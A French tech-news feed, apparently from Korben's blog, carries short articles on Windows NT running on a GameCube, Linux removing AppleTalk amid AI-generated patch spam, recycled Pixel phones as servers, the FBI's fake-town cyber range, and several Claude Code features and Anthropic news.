Petit retour en arrière quand même pour les plus jeunes... Dans les années 90, Windows NT n'était pas du tout le truc Windows-x86-only qu'on connaît aujourd'hui. Il tournait sur MIPS, sur DEC Alpha, sur PowerPC, parce que Microsoft voulait un OS portable, qui ne soit pas marié à un seul fabricant de puces. L'histoire a tranché en faveur du x86 et tout le reste est tombé dans l'oubli. Sauf que ces vieux binaires PowerPC existent toujours, et c'est ce qui rend ce hack possible 25 ans plus tard.

Pour l'installer, vous balancez une image ISO de NT 3.51 ou 4.0 sur une carte SD, vous chargez le loader via Swiss sur GameCube ou via le Homebrew Channel sur Wii, et vous vous laissez guider par l'installeur de NT comme en 1996.

C'est une version assez dégradée, mais parfaitement fonctionnelle de l'expérience poste de travail d'époque. Le seul vrai casse-tête, c'est la saisie. La GameCube n'a jamais eu de clavier digne de ce nom, donc il faut ruser avec des méthodes de saisie à la manette. À moins de mettre la main sur une de ces rarissimes manettes GameCube qui planquaient un clavier complet en plein milieu. Oui oui, ça a vraiment existé.

Maintenant, ne vous attendez pas non plus à un miracle car tout ne fonctionne pas. Pas de réseau, pas de son non plus. Et le bus EXI est lent de fou, donc ça traîne franchement sur les accès disque côté GameCube. Le pilote graphique GDI tourne également avec du code pas optimisé pour un sou, le branchement à chaud de l'USB n'est pas géré, et le système peut planter au redémarrage de temps en temps. Bref, c'est un poste de travail des années 90 sur un jouet des années 2000, avec les compromis qui vont avec.

À noter d'ailleurs que ce hack n'est pas tout frais, la dernière version date de mars 2025. C'est juste qu'il refait surface en ce moment, et je pense qu'il le mérite. La Dreamcast affichait fièrement "Compatible with Microsoft Windows CE" imprimé sur sa coque, la GameCube vient de la rattraper par la petite porte. Et détourner une console pour lui faire avaler un OS qui n'a rien à y faire, ça reste un grand classique, avec le hack qui a fait tourner Linux sur la PS5 et tous ceux qui font tourner Half-Life sur un Nokia de 2007 ou un jeu Mega Drive depuis un vinyle ...

Évidemment, faire tourner Windows NT sur une GameCube ça ne sert strictement à rien, à part pour le challenge et la frime, ça présente donc peu d'intérêt, mais c'est rigolo de voir que ça reste possible. Et c'est pour ça aussi que j'adore ça !

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  • Linux tire un trait sur AppleTalk
    C'est la fin d'une époque. Le noyau Linux, le cœur du système qui pilote le matériel et les communications, s'apprête à supprimer le support d'AppleTalk, ce vieux protocole réseau qu'Apple utilisait dans les années 80 et 90 pour faire dialoguer ses Mac entre eux avant que TCP/IP, le langage commun d'internet, ne s'impose partout. À l'époque, c'était plutôt malin: vous branchiez deux machines et une imprimante, et elles se trouvaient toutes seules, sans la moindre configuration, du plug-and-play

Linux tire un trait sur AppleTalk

18 juin 2026 à 12:12

C'est la fin d'une époque. Le noyau Linux, le cœur du système qui pilote le matériel et les communications, s'apprête à supprimer le support d'AppleTalk, ce vieux protocole réseau qu'Apple utilisait dans les années 80 et 90 pour faire dialoguer ses Mac entre eux avant que TCP/IP, le langage commun d'internet, ne s'impose partout.

À l'époque, c'était plutôt malin: vous branchiez deux machines et une imprimante, et elles se trouvaient toutes seules, sans la moindre configuration, du plug-and-play avant l'heure à un moment où monter un réseau relevait encore du casse-tête réservé aux initiés.

Aujourd'hui, plus grand monde ne parle ce dialecte. Il en subsiste quelques traces dans Bonjour, la techno maison qui détecte automatiquement imprimantes et appareils sur un réseau local, mais le protocole d'origine, lui, est mort depuis longtemps.

Près de 4000 lignes de code vont donc disparaître avec la version 7.2 du noyau, et Apple avait lui-même enterré AppleTalk dès 2009, du temps de Mac OS X Snow Leopard. Autant dire que le préavis a été large.

Le plus étonnant, c'est ce qui a déclenché le grand ménage. Ce n'est pas vraiment l'abandon par les utilisateurs, mais une vague de correctifs générés par intelligence artificielle qui a fini par saturer la liste de diffusion des développeurs réseau.

Depuis quelques mois, des outils basés sur des grands modèles de langage, balancent automatiquement des "corrections" de bugs sur du code que personne n'avait réclamé, pour un protocole que plus aucun matériel ne fait tourner.

Et chaque proposition, même inutile, mobilise un humain qui doit la lire, la tester et vérifier qu'elle ne casse rien ailleurs, du temps précieux soustrait au vrai travail de mainteneurs déjà débordés par les contributions légitimes.

C'est Jakub Kicinski, qui supervise toute la pile réseau du noyau, qui a fini par trancher: plutôt que de faire éplucher par ses équipes des patchs pondus en série par des machines pour réparer une techno morte, il a préféré retirer AppleTalk d'un seul geste.

Et il n'en est pas à son coup d'essai. Au cycle précédent, pour Linux 7.1, il avait déjà passé à la trappe ARCnet, l'ISDN, la radio amateur et toute une collection de vieux pilotes réseau oubliés, soit près de 138 000 lignes effacées d'un coup, dans ce qu'il a lui-même baptisé la "LLM-pocalypse".

Le code d'AppleTalk ne finit quand même pas tout à fait à la poubelle, puisqu'il rejoint AX.25 et la radio amateur dans un dépôt GitHub mis de côté, pour les rares curieux qui voudraient encore bidouiller avec.

Bref, c'est une première: des contributions automatisées qui font retirer du code encore fonctionnel. L'IA ne crée pas toujours. Parfois, elle déblaie.

Source : Phoronix

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  • Le vieux Pixel de votre tiroir vaut peut-être mieux qu'un serveur
    Des chercheurs de l'université de Californie à San Diego, épaulés par Google, viennent de prouver un truc contre-intuitif : un Pixel mis au rebut il y a trois ans tient encore tête à un serveur professionnel sur certains calculs, au point qu'on peut en assembler un vrai data center au lieu de le foutre à la poubelle. L'idée a été posée sur le blog de recherche de Google . Une fois l'appareil ouvert, les chercheurs retirent tout ce qui ne sert plus, l'écran, la batterie au lithium, les caméras et

Le vieux Pixel de votre tiroir vaut peut-être mieux qu'un serveur

17 juin 2026 à 08:53

Des chercheurs de l'université de Californie à San Diego, épaulés par Google, viennent de prouver un truc contre-intuitif : un Pixel mis au rebut il y a trois ans tient encore tête à un serveur professionnel sur certains calculs, au point qu'on peut en assembler un vrai data center au lieu de le foutre à la poubelle.

L'idée a été posée sur le blog de recherche de Google . Une fois l'appareil ouvert, les chercheurs retirent tout ce qui ne sert plus, l'écran, la batterie au lithium, les caméras et la coque, jusqu'à ne garder que la carte mère et sa puce, ce qu'on appelle un SoC, le processeur qui faisait tourner Android avant qu'on le bascule sur une distribution Linux des plus classiques.

Ce système, le même qui anime déjà l'immense majorité des serveurs de la planète, libère la puce des limites pensées pour un mobile, à commencer par ce bridage qui met les applications en pause dès qu'elles passent à l'arrière-plan. Ensuite, il suffit de relier ces cartes mères entre elles via Kubernetes, l'outil que les géants du web emploient déjà pour piloter les milliers de machines de leurs centres de données comme un seul gros ordinateur.

Le plus déroutant arrive là. Sur la plupart des tests ne mobilisant qu'un seul cœur, un Pixel Fold de 2023 dépasse un serveur ASUS RS720A-E11 pourtant équipé de deux gros processeurs AMD, le genre de bête qu'on retrouve dans les baies des entreprises.

Le serveur empile bien plus de cœurs en parallèle, si bien qu'il faut réunir entre 25 et 50 téléphones pour rivaliser avec son débit total. Mais bon. Dès lors que vous ramassez ces appareils gratuitement au lieu d'acheter du silicium neuf, l'équation se renverse.

Le vrai argument est écologique, puisque près de la moitié des émissions de carbone d'un smartphone sur toute sa vie part dans sa seule fabrication, surtout dans l'assemblage de la carte mère et du processeur, ce fameux carbone gris déjà cramé avant même que l'appareil ne s'allume.

On change pourtant de mobile tous les trois ou quatre ans, en balançant une puissance de calcul encore largement bonne à servir, pendant que les entreprises font fabriquer des serveurs flambant neufs pour les mêmes tâches. Le gâchis est énorme.

L'équipe a pour l'instant fait tourner une grappe de 20 téléphones, qui a encaissé sans broncher le pic de rendu des devoirs d'une classe de plus de 75 étudiants avec une latence plus basse que les services cloud du commerce. Elle prépare déjà un cluster d'environ 2 000 Pixel pour la rentrée, capable d'absorber une centaine de cours d'informatique en même temps pour une fraction du prix du cloud habituel.

Reste à rester lucide. Ces puces ont peu de mémoire, donc on les cantonne aux tâches légères, la correction automatisée ou les carnets de code, loin de l'entraînement d'un gros modèle d'IA.

Mais voir une montagne d'e-déchets se muer en salle de classe numérique, ça donne sacrément envie d'y croire. Surtout vu le nombre de Pixel qui dorment au fond de nos tiroirs, même moi j'en ai deux qui traînent pour tout vous dire.

Source : Techspot

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  • Le FBI a bâti une fausse ville entière dans un hangar, juste pour la pirater
    Le FBI possède sa propre ville, sauf que personne n'y habite, et pour cause, elle a été montée de toutes pièces dans un hangar de Huntsville, en Alabama, avec ses maisons meublées, son hôtel, sa station-service, son épicerie, son tribunal, son hôpital et jusqu'à sa compagnie d'électricité, le tout dans un seul but assez vertigineux, la pirater dans tous les sens sans jamais déranger âme qui vive. Le décor porte d'ailleurs un nom, le Kinetic Cyber Range, près de 2 000 mètres carrés de fausse bour

Le FBI a bâti une fausse ville entière dans un hangar, juste pour la pirater

16 juin 2026 à 16:01

Le FBI possède sa propre ville, sauf que personne n'y habite, et pour cause, elle a été montée de toutes pièces dans un hangar de Huntsville, en Alabama, avec ses maisons meublées, son hôtel, sa station-service, son épicerie, son tribunal, son hôpital et jusqu'à sa compagnie d'électricité, le tout dans un seul but assez vertigineux, la pirater dans tous les sens sans jamais déranger âme qui vive.

Le décor porte d'ailleurs un nom, le Kinetic Cyber Range, près de 2 000 mètres carrés de fausse bourgade américaine ouverte en février 2025 et pensée comme un gigantesque bac à sable pour cyberattaques en conditions réelles.

Rien là-dedans n'est pourtant en toc, puisque chaque bâtiment grouille d'appareils et de systèmes qui réagissent exactement comme dans une vraie commune ou une vraie entreprise, à une nuance près, tout reste confiné à l'intérieur pour qu'une attaque lancée pendant un exercice de derappe jamais et impacte de vrais habitants.

Le nom vient justement de là, puisque le terme kinetic renvoie aux dégâts bien physiques d'un piratage, ce moment où une simple ligne de code éteint un feu rouge, bloque une pompe à eau ou plante les machines d'un hôpital.

Au cœur du dispositif, on trouve du coup une salle bourrée de plus de 200 serveurs physiques, ces gros ordinateurs qui font tourner les services d'une entreprise, pour moitié sous Windows et pour moitié sous Linux, histoire de coller au capharnaüm que les enquêteurs découvrent réellement quand ils débarquent après une intrusion ou avec un mandat de perquisition. Le responsable du site, Dave Beachboard, n'enjolive d'ailleurs rien et décrit des salles froides, exiguës, bruyantes et sombres, bref aussi pénibles que dans la vraie vie.

Plus de 1 400 personnes y sont quand même déjà passées, des agents du FBI mais pas seulement, puisque s'y ajoutent des collègues d'autres administrations fédérales et locales venus s'entraîner sur le terrain.

Le gros morceau de la formation, ce sont les rançongiciels, ces logiciels qui prennent vos fichiers en otage et réclament une rançon pour vous les rendre, l'objectif étant d'apprendre à garder son sang-froid pendant qu'une attaque se déroule sous les yeux tout en travaillant la criminalistique numérique, c'est-à-dire l'art de fouiller une machine après le passage des pirates pour reconstituer qui a fait quoi.

Si le FBI se donne autant de mal, c'est que c'est un problème massif, son rapport sur la cybercriminalité chiffre les pertes américaines à près de 21 milliards de dollars sur l'année et place les rançongiciels en tête des menaces qui visent les infrastructures critiques, ces hôpitaux, réseaux électriques et stations d'eau dont on oublie l'importance jusqu'au jour où ils s'arrêtent net.

Bref, bâtir une ville entière dans le seul but de la pirater, c'est quand même assez fou.

Source : TechCrunch

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  • Claude FM - La radio lofi planquée dans Claude Code
    Vous aimez bosser avec un petit fond sonore ? Et bien sachez qu'Anthropic diffuse désormais sa propre radio lofi sur YouTube, 24h sur 24. Ça s'appelle Claude FM et c'est même planqué dans Claude Code derrière la commande /radio. Le visuel du stream, sobre comme la com' qui va avec Il existe pleins de chaînes qui proposent ça, la Lofi Girl en tête donc à vrai dire ce n'est pas une grosse nouveauté en soi. Sauf que là, le lancement s'est fait à la sauce easter egg sans billet de blog, et pas même

Claude FM - La radio lofi planquée dans Claude Code

Par : Korben ✨
10 juin 2026 à 07:34

Vous aimez bosser avec un petit fond sonore ?

Et bien sachez qu'Anthropic diffuse désormais sa propre radio lofi sur YouTube, 24h sur 24. Ça s'appelle Claude FM et c'est même planqué dans Claude Code derrière la commande /radio.

Le visuel du stream, sobre comme la com' qui va avec

Il existe pleins de chaînes qui proposent ça, la Lofi Girl en tête donc à vrai dire ce n'est pas une grosse nouveauté en soi. Sauf que là, le lancement s'est fait à la sauce easter egg sans billet de blog, et pas même une ligne dans le changelog (j'ai vérifié, que dalle) ! Juste un tweet sur le compte @ClaudeDevs avec écrit "/radio", et rien d'autre.

Du coup, vous tapez /radio dans Claude Code, que vous soyez sur macOS, Linux ou Windows, et hop, le stream s'ouvre dans votre navigateur. Et si vous êtes en SSH sur une machine sans interface graphique, cette commande affichera simplement l'URL du flux.

Et qu'est-ce que vous allez y écouter ?

De la lofi et de l'ambient, mixées en continu. La description de la chaîne tient en 2 phrases : "Press play and keep thinking. Made and curated by musicians." Donc c'est de la vraie musique faite par de vrais humains, et pas de la soupe générée par IA.

Et ça tourne plutôt bien d'ailleurs, avec quelques centaines d'auditeurs à toute heure du jour et de la nuit (419 au compteur quand j'ai regardé hier soir). Par contre, attention, le live redémarre de temps en temps et change donc d'URL YouTube... d'où l'intérêt de passer par la commande plutôt que par un favori.

Et puis cette histoire de "musiciens" a pris un virage rigolo car d'après un échange sur X , un auditeur qui entendait l'artiste Ben Seretan en boucle sur le stream a fini par le retrouver pour le remercier. Et le mec ne savait même pas que sa musique y passait ! Et quand on lui a expliqué le concept, il a répondu "i think i'm grateful? but i also think i'm not getting paid?".

En fait, la théorie la plus probable, c'est qu'Anthropic utilise les morceaux via un agrégateur tiers ou un catalogue de musique de production, et que l'artiste touchera ses quelques centimes sans jamais savoir d'où viennent les écoutes.

Moi j'aime bien la lofi / chill pour donner un truc de fond à mouliner à mon cerveau pendant que je me concentre sur du vrai boulot, ou pour lire. Alors ce /radio, c'est sympa pour offrir un petit fond sonore à ceux qui bossent.

D'ailleurs, vous vous souvenez peut-être de mon article où je vous présentais Lowfi , un lecteur lofi minimaliste en ligne de commande, ou encore Opal pour rester détendu au boulot. Hé bien Claude FM joue dans la même cour.

Bref, un onglet de plus à épingler pour vos sessions de boulot ou de lecture et si vous utilisez déjà Claude Code, tapez /radio, c'est cadeau !

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  • ✇Korben
  • Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents
    Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler. Et comme c'est encore un nouveau truc rel

Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents

Par : Korben ✨
29 mai 2026 à 13:33

Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler.

Et comme c'est encore un nouveau truc relou à savoir, je viens vous expliquer comment tout ceci fonctionne et dans quels cas les utiliser.

En fait, grâce à ça, au lieu de bosser tout seul en une fois, Claude écrit lui-même un petit script qui lance des dizaines, voire des centaines de sous-agents en parallèle, les fait se vérifier entre eux, et vous rend le résultat une fois que tout converge. Vous décrivez le chantier et lui s'occupe de l'orchestration et puis c'est tout !

Le problème que ça règle

Car jusqu'ici, un agent IA bossait en gros comme un employé seul à son bureau, avec une demande, une passe, une réponse. Ça marche donc très bien pour un bug isolé ou un bout de code mais dès que le chantier devient énorme, genre rechercher une faille dans tout un projet complexe ou reconstruire une API à partir de milliers de fichiers, là y'a plus personne... la passe unique sature et oublie alors des trucs en route.

Les dynamic workflows cassent donc ce plafond en découpant le boulot en sous-tâches confiées à plein d'agents qui tournent alors tous en même temps, et comme la coordination se passe en dehors de la conversation, pas d'inquiétude, le plan ne déraillera pas, même quand la tâche sera giganormouuuuus !

Comment ça tourne ?

En fait, quand vous lancez un workflow, Claude planifie à la volée selon votre demande, découpe en sous-tâches, et répartit le tout sur des sous-agents en parallèle. Et chaque résultat est ensuite scrupuleusement vérifié avant d'être réintégré à la conversation principale.

Et comme c'est bien pensé, cette vérification est adversariale, ce qui veut dire que des agents attaquent le problème sous des angles indépendants pendant que d'autres essaient activement de démolir ce que les premiers ont trouvé. Ça tourne donc en boucle jusqu'à ce que les réponses convergent, ce qui élimine pas mal de conneries plausibles qui seraient fausses.

Autre bon point avec cette nouvelle technique, c'est la progression qui est sauvegardée au fil de l'eau. Comme ça si un job se fait interrompre, il repart où il en était dans la même session, au lieu de tout recommencer comme un débile. Et côté garde-fous, sachez qu'un workflow plafonnera max à 16 agents en parallèle et max 1000 agents au total par run, histoire que ça ne parte pas en cachuète !

Comment l'activer ?

Il y a 2 façons de lancer cette armée d'agents, et la première ne demande aucun réglage.

Vous demandez juste à Claude de créer un workflow, littéralement avec un truc du genre "crée un workflow pour faire X". Vous verrez, la première fois qu'un workflow se déclenchera, Claude Code vous montrera ce qu'il s'apprête à lancer et vous demandera de confirmer la chose. Comme ça, pas de surprise, c'est vous le boss et c'est vous qui validez avant que ça parte.

Mais y'a aussi la méthode automatique, qui consiste à activer un réglage maison appelé ultracode depuis le menu d'effort (/effort) durant une session en cours, qui pousse le raisonnement très haut (xhigh) et laisse ensuite Claude décider tout seul quand sortir un workflow pour les tâches qui le méritent.

Pour profiter de cette nouvelle feature, il vous faut Claude Code en version 2.1.154 ou plus récente, et ça tourne aussi bien en ligne de commande que sur l'app desktop ou l'extension VS Code. Côté abonnement, c'est dispo sur tous les plans payants... Sur le plan Pro faudra juste l'activer à la main dans le menu /config, alors que sur Max, Team et Enterprise c'est présent d'office.

Ce que ça donne en vrai

Pour la chasse aux bugs ou les audits de sécurité sur un dépôt entier, où Claude fouille en parallèle puis revérifie chaque trouvaille de façon indépendante, c'est top ! Pour les grosses migrations aussi, genre changer de framework ou porter un langage vers un autre sur des milliers de fichiers c'est le top aussi surtout que comme je vous le disais, quand c'est critique, vaut mieux que ce soit vérifié deux fois plutôt qu'une !

Ils l'ont utilisé par exemple pour le portage de Bun du langage Zig vers Rust. Cela a pris 11 jours entre le premier commit et la fusion, avec des centaines d'agents en parallèle et deux relecteurs sur chacun des fichiers et au final ce sont plus de 750 000 lignes de Rust qui ont été réécrites. La société Klarna, de son côté, s'en sert pour repérer le code mort que l'analyse statique classique laissait passer.

Ce que j'en fais

Perso, ce que je trouve le plus utile, c'est pour les chantiers que je repoussais justement parce qu'ils étaient trop gros pour une seule session. Passer en revue le code de mon site de fond en comble (ce que j'ai fait ce matin), ou encore bosser plus efficacement sur le recompilateur que je suis en train de créer (je vous en recause bientôt..)

Le prix à payer

Évidemment, je suis lucide, ça a un coût et Anthropic prévient noir sur blanc qu'un dynamic workflow bouffe nettement plus de tokens qu'une session classique. Bah oui, des centaines d'agents qui tournent en parallèle, forcément, ça consomme à fond. Du coup leur conseil officiel, c'est de commencer sur une tâche bien cadrée pour prendre la mesure de ce que ça pompe avant de lâcher l'outil sur un gros morceau. C'est totalement ce que je n'ai pas fait ^^ mais je suis un punk, que voulez-vous !

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  • Le Canada coupe sa station radio horaire CHU après plus d'un siècle de service
    Le 22 juin prochain, le Canada va éteindre une voix qui parle sans interruption depuis 1923. La station CHU, opérée par le Conseil national de recherches (l'équivalent canadien du CNRS), cessera ses émissions sur ondes courtes après plus de cent ans de bons et loyaux services. Trois fréquences disparaîtront du spectre radio : 3330, 7850 et 14670 kHz. C'est la fin d'une époque. Pour ceux qui n'auraient jamais croisé son signal, CHU diffusait en continu l'heure officielle canadienne, calée sur une

Le Canada coupe sa station radio horaire CHU après plus d'un siècle de service

27 mai 2026 à 16:37

Le 22 juin prochain, le Canada va éteindre une voix qui parle sans interruption depuis 1923. La station CHU, opérée par le Conseil national de recherches (l'équivalent canadien du CNRS), cessera ses émissions sur ondes courtes après plus de cent ans de bons et loyaux services.

Trois fréquences disparaîtront du spectre radio : 3330, 7850 et 14670 kHz. C'est la fin d'une époque.

Pour ceux qui n'auraient jamais croisé son signal, CHU diffusait en continu l'heure officielle canadienne, calée sur une horloge atomique du CNRC. Le principe est très simple : un émetteur balance des "tops" précis à la milliseconde, et n'importe quel récepteur radio peut s'y synchroniser. 

La station alternait code morse, voix synthétique (en français et en anglais, tradition oblige), impulsions courtes appelées DUT1 pour les horloges radio domestiques, et un code numérique FSK pour les équipements plus modernes. C'était un peu l'horloge mère qui réglait tous les chronomètres du pays.

CHU est née en 1923 sous l'indicatif 9CC, puis VE9OB, avant de prendre son nom définitif en 1938. Elle faisait partie d'une petite famille de stations horaires qui existe encore aujourd'hui avec WWV et WWVB côté américain, DCF77 en Allemagne et MSF au Royaume-Uni. Si vous avez un réveil "atomique" acheté en Europe, il se cale en fait sur DCF77, près de Francfort. Les Canadiens, eux, écoutaient CHU.

Alors pourquoi débrancher la prise maintenant ? Le CNRC explique que l'heure officielle est désormais distribuée par d'autres canaux : NTP (Network Time Protocol, le système qui met automatiquement vos ordinateurs à l'heure via internet), GPS pour les équipements embarqués, et même une horloge parlante téléphonique toujours active.

La diffusion sur ondes courtes coûte cher à entretenir, et son public se résume aux derniers radioamateurs, à quelques marins équipés à l'ancienne et aux passionnés.

C'est la deuxième fois en peu de temps que le Canada coupe un signal horaire emblématique. La CBC avait déjà arrêté en 2023 son fameux "long dash", ce bip long de fin de journal qui rythmait la radio canadienne depuis 1939.

À chaque coupure, le même argument : tout est passé sur internet, à quoi bon maintenir la bande HF ? Le souci, c'est que si les serveurs NTP ou le réseau électrique flanchent, plus personne n'a de plan B sérieux pour savoir vraiment quelle heure il est. Les ondes courtes, elles, traversent les continents avec un simple émetteur et un récepteur à pile.

Bref, encore un bout d'infrastructure analogique qui s'efface au profit du tout-IP. Dommage.

Source : SWLing

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  • Switchboard - Le centre de contrôle pour vos sessions Claude Code
    Claude Code, c'est génial pour coder mais alors pour s'organiser... c'est chiant de fouuuu. J'ai genre 200 fichiers .jsonl qui trainent dans ~/.claude/projects, y'a aucun moyen prévu pour savoir ce qui tourne en ce moment, et autant vous dire que reprendre une conversation d'il y a 3 jours relève de l'acrobatie. Alors j'ai d'abord essayé les grep sauvages dans le dossier, les ls -lt pour trier par date...etc et en fait ça marche, mais c'est pas ce qu'on appelle un vrai workflow. Du coup j'ai

Switchboard - Le centre de contrôle pour vos sessions Claude Code

Par : Korben ✨
21 mai 2026 à 13:24

Claude Code, c'est génial pour coder mais alors pour s'organiser... c'est chiant de fouuuu.

J'ai genre 200 fichiers .jsonl qui trainent dans ~/.claude/projects, y'a aucun moyen prévu pour savoir ce qui tourne en ce moment, et autant vous dire que reprendre une conversation d'il y a 3 jours relève de l'acrobatie.

Alors j'ai d'abord essayé les grep sauvages dans le dossier, les ls -lt pour trier par date...etc et en fait ça marche, mais c'est pas ce qu'on appelle un vrai workflow. Du coup j'ai cherché un truc plus propre et heureusement pour moi, des outils commencent à émerger autour de l'écosystème (je vous avais déjà parlé d' Opcode ) et Switchboard est clairement celui qui sort le plus du lot, je trouve.

C'est une app desktop open source (sous licence MIT) qui centralise toutes vos sessions dans une seule fenêtre. Comme ça, vous avez un navigateur organisé par projet avec une recherche full-text qui fouille dans les fichiers .jsonl de conversations (pas juste les dates) et ensuite, y'a plus qu'à taper des trucs comme "bug auth" ou je ne sais quoi dans la barre de recherche et en 2 secondes vous retrouvez votre fichier de session de mardi.

Le truc qui différencie Switchboard des autres projets du genre (y'en a une poignée, genre t3.codes ou conductor.build), c'est surtout qu'il fait fonctionner un vrai terminal, avec votre vraie session qui tourne dedans. L'avantage c'est que comme ça, vos raccourcis clavier et le copier-coller fonctionnent comme d'habitude.

Et le monitoring en temps réel, c'est clairement le gros plus car avec Switchboard vous pouvez afficher une grille avec toutes vos sessions ouvertes sur votre machine, chacune dans sa petite case avec un indicateur de statut. Comme ça, si un agent est bloqué parce qu'il attend une validation de permission, vous le voyez direct dans la sidebar. Attention par contre, ça ne marche qu'avec les sessions locales, car y'a pas de support SSH pour l'instant.

Ah et il y a aussi un mode IDE intégré qui est plutôt chouette. Quand Claude propose une modification de fichier, au lieu d'ouvrir VS Code ou Cursor, le diff s'affiche dans un panneau latéral directement dans Switchboard. Comme ça, vous pouvez accepter, rejeter, ou même accepter seulement certains morceaux du diff.

Autre fonctionnalité sympa, le fork de sessions. Vous pouvez repartir de n'importe quel point d'une conversation passée, genre comme vous le feriez avec un checkpoint dans un jeu vidéo. Vous avez aussi un éditeur CodeMirror intégré pour vos fichiers CLAUDE.md et vos plans (c'est plus pratique qu'ouvrir un vim à côté), + un bon vieux heatmap d'activité qui montre votre rythme de coding par projet.

Côté technique, c'est du Electron (oui, je sais 300 Mo sur le disque, ça fait toujours chier) avec SQLite en cache local pour la recherche. Et c'est distribué en .dmg pour macOS (Apple Silicon et Intel), .exe pour Windows et .AppImage/.deb pour Linux.

Pour tester, y'a donc juste à télécharger la dernière release pour votre OS et lancer l'app.

Bref, si vous jonglez avec plusieurs sessions au quotidien, ça vaut le coup d'essayer. Et si vous cherchez à enrichir votre setup, la marketplace de skills peut aussi compléter le tout.

Merci à Aurélien pour le lien ! (Vous aurez noté la rime ^^ désolééé)

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  • Ce PC contient 13 écrans cachés qui diffusent 15 000 GIF en boucle
    Un internaute connu sous le pseudo Several-Bar-6512 a transformé son PC de jeu en quelque chose qui n'a pas d'équivalent : à l'intérieur du boîtier, treize écrans diffusent en boucle plus de 15 000 GIF animés. Pas de RGB clignotant classique. Des écrans. Partout. Le chiffre derrière le projet donne le vertige. Le bricoleur a d'abord téléchargé plus de 17 000 GIF, puis a passé environ 200 heures à les trier, les recadrer, ajuster leur format, leur vitesse d'animation et leur boucle, pour arriver

Ce PC contient 13 écrans cachés qui diffusent 15 000 GIF en boucle

21 mai 2026 à 08:43

Un internaute connu sous le pseudo Several-Bar-6512 a transformé son PC de jeu en quelque chose qui n'a pas d'équivalent : à l'intérieur du boîtier, treize écrans diffusent en boucle plus de 15 000 GIF animés. Pas de RGB clignotant classique. Des écrans. Partout.

Le chiffre derrière le projet donne le vertige. Le bricoleur a d'abord téléchargé plus de 17 000 GIF, puis a passé environ 200 heures à les trier, les recadrer, ajuster leur format, leur vitesse d'animation et leur boucle, pour arriver à une sélection finale de plus de 15 000.

Regarder l'intégralité des tuiles, du premier au dernier GIF, prendrait 13 heures et demie. Treize heures et demie de mèmes en boucle dans un boîtier d'ordinateur.

Côté technique, c'est étonnamment débrouillard. Trois cartes Raspberry Pi 5 sont montées dans le boîtier. Les quatre plus grands écrans sont pilotés par ces Raspberry Pi, et les neuf autres lisent leurs vidéos directement depuis des cartes microSD, sans même avoir besoin d'un ordinateur derrière. Et tout ça cohabite avec une vraie config de jeu musclée, carte graphique haut de gamme comprise.

Le bricoleur explique sa démarche simplement : il voulait une machine unique, durable, et dont il pourrait être fier. Sa propre formule résume bien l'esprit du truc, il trouvait que le RGB classique faisait trop sage. Opinion qu'on ne partagera pas forcément mais bon...

Est-ce que c'est raisonnable ? Absolument pas. Plusieurs personnes qui ont vu le build le décrivent comme magnifique et insupportable en même temps, du genre à déclencher une migraine. Mais ce n'est pas le but.

Le but, c'est de posséder un objet que personne d'autre n'a, et là-dessus, mission accomplie. Et puis il y a le facteur découverte : impossible de tout voir d'un coup, vous tomberez toujours sur un GIF oublié que vous n'aviez jamais remarqué.

Bref, pendant que tout le monde se bat pour la config la plus puissante, lui a construit la plus distrayante. Et honnêtement, respect.

Source : PC Gamer

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  • Anthropic rachète Stainless, l'outil qui fabrique aussi les SDK de ses concurrents
    Anthropic, la boîte derrière l'IA Claude, a racheté Stainless pour plus de 300 millions de dollars. Stainless, c'est un nom que le grand public ne connaît pas, mais l'outil est partout : il transforme automatiquement la spécification d'une API, l'interface par laquelle deux logiciels se parlent, en SDK. Pour rappel, un SDK, c'est un ensemble de bibliothèques de code prêtes à l'emploi pour les développeurs, ici dans une dizaine de langages comme Python, TypeScript, Go ou Java. En clair, quand un

Anthropic rachète Stainless, l'outil qui fabrique aussi les SDK de ses concurrents

20 mai 2026 à 15:05

Anthropic, la boîte derrière l'IA Claude, a racheté Stainless pour plus de 300 millions de dollars. Stainless, c'est un nom que le grand public ne connaît pas, mais l'outil est partout : il transforme automatiquement la spécification d'une API, l'interface par laquelle deux logiciels se parlent, en SDK.

Pour rappel, un SDK, c'est un ensemble de bibliothèques de code prêtes à l'emploi pour les développeurs, ici dans une dizaine de langages comme Python, TypeScript, Go ou Java.

En clair, quand un développeur veut brancher son application sur l'API de Claude, il utilise un SDK généré par Stainless. La boîte, fondée en 2022 par un ancien ingénieur de Stripe, a produit chaque SDK officiel d'Anthropic depuis les tout débuts de l'API Claude. Le rachat consolide donc une brique que l'entreprise utilisait déjà tous les jours.

Stainless ne s'arrête pas aux SDK. La société fournit aussi de l'outillage pour les serveurs MCP, le protocole poussé justement par Anthropic qui permet aux IA de se connecter à des outils et des données externes. Du coup le rachat fait sens à double titre : Anthropic met la main sur la génération de SDK et sur une partie de l'infrastructure MCP, deux briques où il veut clairement être central.

Sauf que voilà le détail un peu fou. Stainless ne servait pas qu'Anthropic, et sa liste de clients comprend OpenAI, Google DeepMind, Perplexity, Groq et Cloudflare, autrement dit la plupart des concurrents directs d'Anthropic sur le marché de l'IA.

La suite est sans pitié. Anthropic ferme tous les produits hébergés de Stainless, générateur de SDK compris. Les clients actuels gardent les SDK déjà générés et peuvent les modifier, mais le robinet, lui, est coupé. Tout le monde va devoir trouver une alternative ou rapatrier la génération de SDK en interne.

Pourquoi mettre 300 millions sur la table pour ça ? Parce que la vraie bataille n'est plus seulement sur les modèles d'IA, mais sur la couche d'outillage autour.

Celui qui contrôle la façon dont les développeurs branchent leurs applications et orchestrent leurs agents IA contrôle une partie de l'écosystème. OpenAI muscle son propre Agents SDK de son côté. Anthropic, lui, préfère racheter directement l'usine, et au passage priver ses concurrents d'un fournisseur bien pratique.

Source : TechCrunch

  • ✇Korben
  • WordPress Workspace - L'agent IA d'Automattic
